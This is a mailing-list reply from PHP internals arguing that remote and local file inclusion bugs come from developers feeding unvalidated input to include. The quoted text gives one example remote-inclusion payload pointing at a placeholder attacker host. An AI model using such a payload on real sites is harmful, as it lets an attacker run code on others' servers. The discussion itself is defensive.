Hello, On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig <kris.cr...@gmail.com> wrote: > I can't help but question whether we should even be worrying about LFI/RFI > to begin with. Personally, I would *never* check-off on code that in any > way used $_GET or $_POST directly in an include/require statement! It's > just plain lazy. There's just no excuse for doing that. Use some sort of > dispatch or translation table. Sure, it might seem less "magical," but > it'll also protect you from some asshole hitting you with something like, > "?file=http://hacksite.com/injectedcode.php?";. The individual code > developer has to take *some* responsibility for their code. If this is > such a problem, I would think the solution would be to update our docs to > better warn people about this type of attack and educate them on how not to > write code that's vulnerable to it. > > We can make the language secure; but, in the end, a language is only as > smart as the person using it. >
I really have a hard time understanding how this is even being discussed, there is no real problem here. Making sure user input is validated is a core concept of application development. How on earth can you say "if you don't validate the users input, it's a security problem, so php must fix it", it's the most ridiculousness argument I have read on here in ages. _IF_ you absolutely must accept arbitrary user urls from users, which we all have to do at some point, you use socket functions, file functions, HTTP extension, whatever you want. If you are using INCLUDE you are using the WRONG TOOL. You are WRONG. _IF_ you are needing to display downloaded user data onto a page, a image for example, you need to use file functions, fpassthru, something of the source. If you are using INCLUDE to do this, you are using the WRONG TOOL. You are WRONG. _IF_ you for some reason must accept LOCAL PATHS from a user, and you do not want to pass that input through a validation layer, you are WRONG. It boils down to you either use the right tools and the right validation methods or I promise this is only one of unlimited possible security concerns Yasuo. -Chris -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
